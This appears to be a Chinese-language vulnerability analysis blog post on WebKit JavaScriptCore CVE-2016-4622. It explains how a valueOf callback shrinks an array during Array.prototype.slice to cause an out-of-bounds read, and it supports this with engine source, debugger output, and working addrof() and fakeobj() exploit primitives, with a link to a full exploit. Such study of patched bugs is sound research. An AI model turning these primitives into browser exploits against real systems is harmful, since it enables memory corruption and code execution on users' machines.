0x00 前言
这次准备介绍一个经典的bug:CVE 2016 4622
这个bug也是第一篇介绍到的文章Attacking JavaScript Engines中提到的,saelo在文章中对漏洞相关的技术介绍得很清楚,网上也有很多人对这个漏洞进行了复现,我没有在前面对这个漏洞进行介绍是因为这个洞算是比较老了(其实主要是在我机器上编译不了)。
但是前段时间看到了一篇文章:WebKit JSC CVE-2016-4622调试分析
发现还是有人遇到了同样的情况,文章中给出了在新分支中打上vuln patch的方式,patch的方案和文件来源:https://github.com/m1ghtym0/write-ups/tree/master/browser/CVE-2016-4622
0x01 POC
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {
valueOf: function() {
a.length = 0;
return 10;
}
}
);
print(b);
//0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314
0x02 Slice
poc很简洁,这是一个数组越界访问(OOB)的漏洞。漏洞出现在Array.prototype.slice
的实现中,具体的函数是arrayProtoFuncSlice
:
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
/* [[ 1 ]] */
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());
/* [[ 2 ]] */
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());
/* [[ 3 ]] */
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
/* [[ 4 ]] */
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
/* [[ 5 ]] */
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}
- 取得调用方法的对象(在这里是数组对象)
- 得到数组的length
- 对参数进行转换得到start和end的index,并将它们限制在[0, length)的区间内
- 检查是否有构造函数可使用
- 执行切片
最后执行切片一共有两种方式:
- 如果是密集型存储的数组就执行
fastSlice
,使用memcpy
拷贝数据到新数组。 - 如果
fastSlice
无法执行,就使用slowSlice
,使用一个循环将元素一个一个放入新数组。
值得注意的是在fastSlice
中没有对数组边界的检查,看起来在前面的代码中已经对start和end的范围做了限制,所以很容易地认为在后面的代码中不会有数组越界的情况发生,但是saelo在文章中使用类型转换突破了这个限制。
0x03 ValueOf
JavaScript属于“动态弱类型”语言,JavaScript在处理不同类型变量时会尝试去把变量转化成自己需要的类型,以Math.abs()
为例:
>>> Math.abs(-42)
42
>>> Math.abs("-42")
42
>>> Math.abs([])
0
>>> Math.abs(true)
1
>>> Math.abs({})
NaN
>>>
但是这种用法不适用于强类型语言,比如Python(Python属于“动态强类型”语言)。
如果一个对象有可以调用的valueOf()
方法,当需要做类型转换时会获取这个方法的返回值作为转换的结果:
>>> Math.abs({valueOf:function(){return 10;}})
10
有时候toString()
也是有效的:
>>> Math.abs({toString:function(){return "10";}})
10
这也是为什么在poc中要给slice()
传入带valueOf()
方法的对象。
var b = a.slice(0, {
valueOf: function() {
a.length = 0;
return 10;
}
}
);
表面上等效于:
var b = a.slice(0, 10);
0x04 Exploiting with “valueOf”
arrayProtoFuncSlice()
中的参数类型转换发生在argumentClampedIndexFromStartOrEnd()
执行的时候,该方法负责将start和end限制在[0, length)区间。
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec); // Conversion happens here
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
这段代码有个很明显的问题,这里用的length
是前面获取到的,如果我们在类型转换时将数组实际的length
缩小,由于这里的length不会更新,start和end表示的范围将会突破数组长度的限制。
再来看看重新设定数组长度之后会发生什么,具体的代码在JSArray::setLength
:
unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}
中间设置了一个costToAllocateNewButterfly
是用来避免频繁申请内存空间的。
解读下这段代码的意思:new length
减去old length
的差值如果大于new length
而且大于costToAllocateNewButterfly
,就会为数组重新申请butterfly
的内存。这里的length
表示的不是字节数,而是slot的数量,也就是元素个数。
结合这部分的内容就很容易知道poc中打印出来的b
的内容大概是什么了。就是a
重新分配的butterfly
紧挨着的内存区域的数据。但是我们仍然不知道泄漏出来的数据具体是什么,属于哪个对象。
0x05 JavaScriptCore Heap
Butterfly的分配是在JSC的Heap中进行的,对于大小相近的Butterfly,他们会被分配到一片连续的内存空间中:
a = [1.1];
a[0] = 1.8;
print(describe(a));
b = [{}];
print(describe(b));
Object: 0x1072b42b0 with butterfly 0x8000fe4a8 (Structure 0x1072f2a00:[Array, {}, ArrayWithDouble, Proto:0x1072c80a0, Leaf]), StructureID: 97
Object: 0x1072b42c0 with butterfly 0x8000fe4c8 (Structure 0x1072f2a70:[Array, {}, ArrayWithContiguous, Proto:0x1072c80a0]), StructureID: 98
可以看到两个Array的Butterfly是连在一起的,这个对于长度被缩小后内存被重新分配的Array也是一样的:
a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
a.length = 0;
print(describe(a));
b = [{}];
print(describe(b));
Object: 0x106ab42b0 with butterfly 0x8000fe4a8 (Structure 0x106af2a00:[Array, {}, ArrayWithDouble, Proto:0x106ac80a0, Leaf]), StructureID: 97
Object: 0x106ab42c0 with butterfly 0x8000fe4c8 (Structure 0x106af2a70:[Array, {}, ArrayWithContiguous, Proto:0x106ac80a0]), StructureID: 98
那我们就可以很清楚的知道,前面通过POC泄漏出来的数据就是其他对象的butterfly。那么如果我们收缩Array之后紧接着分配一个大小相近的Array,就应该可以读取到第二个Array的butterfly了,如果里面保存的是对象那么我们就可以泄漏这个对象的地址了。
0x06 Addrof
结合POC:
a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
b = a.slice(0, {
valueOf: function() {
a.length = 0;
var leak_ary = [{}];
print(describe(a));
print(describe(leak_ary[0]));
return 10;
}
}
);
print(describe(b));
#a
Object: 0x1071b42b0 with butterfly 0x10000fe4a8 (Structure 0x1071f2a00:[Array, {}, ArrayWithDouble, Proto:0x1071c80a0, Leaf]), StructureID: 97
#leak_ary
Object: 0x1071b0080 with butterfly 0x0 (Structure 0x1071f2060:[Object, {}, NonArray, Proto:0x1071b4000]), StructureID: 75
#b
Object: 0x1071b42d0 with butterfly 0x10000e0078 (Structure 0x1071f2a00:[Array, {}, ArrayWithDouble, Proto:0x1071c80a0, Leaf]), StructureID: 97
>>> b
0.123,1.123,1.5488838078e-314,6.3659873734e-314,2.180893412e-314,0,0,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314
(lldb) x/6gx 0x10000e0078
0x10000e0078: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x10000e0088: 0x00000000badbeef0 0x0000000300000001
0x10000e0098: 0x00000001071b0080 0x0000000000000000
通过查看b
的butterfly可以看到里面已经保存了leak_ary
的地址。通过直接输出b
,我们获取第五个元素就可以得到泄漏出的对象地址了。封装addrof()
如下:
function addrof(obj){
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {
valueOf: function() {
a.length = 0;
var leak_ary = [obj];
return 10;
}
}
);
return b[4];
}
0x07 Fakeobj
伪造对象也可以通过这个oob
漏洞完成,和addrof()
的区别就是,我们需要先将a
转化为ArrayWithContigous
,在a
缩小之后,申请一个ArrayWithDouble
,并将要伪造的对象地址写进去,构造如下:
function fakeobj(addr){
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {
valueOf: function() {
a.length = 0;
a[0] = {};
var arr = [1.1];
arr[0] = addr;
return 10;
}
}
);
return b[4];
}
我构造出来的addrof()
和fakeobj()
会和saelo的不太一样,因为我是根据自己对漏洞的理解写的,saelo的构造比我更加简洁:
addrof@saelo:
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
var hax = {valueOf: function() {
a.length = 0;
a = [object];
return 4;
}};
var b = a.slice(0, hax);
return Int64.fromDouble(b[3]);
}
fakeobj@saelo:
function fakeobj(addr) {
var a = [];
for (var i = 0; i < 100; i++)
a.push({}); // Array must be of type ArrayWithContiguous
addr = addr.asDouble();
var hax = {valueOf: function() {
a.length = 0;
a = [addr];
return 4;
}};
return a.slice(0, hax)[3];
}
0x08 Exploit
由于JSC在新加入了2016年并没有的漏洞缓解措施“Gigacage”,导致无法修改特定对象的m_vector
的指针,比如Float64Array
,所以saelo文章中的利用方法不适用于本文中打了patch的JSC,其实我们完全可以用上一篇文章中的利用方法,直接将除了addrof()
和fakeobj()
的部分复制过来就能用了。
当然这样有些不兼容的问题,我在代码中做了一些调整:https://github.com/joshua7o8v/Browser/blob/master/WebKit/cve-2016-4622/poc.js
关于poc.js
中不太理解的地方可以看上一篇文章。
0x09 Reference
[1] https://github.com/joshua7o8v/Browser/tree/master/WebKit/cve-2016-4622
[2] http://www.phrack.org/papers/attacking_javascript_engines.html
[3] http://d1iv3.me/2019/07/06/WebKit-JSC-CVE-2016-4622%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/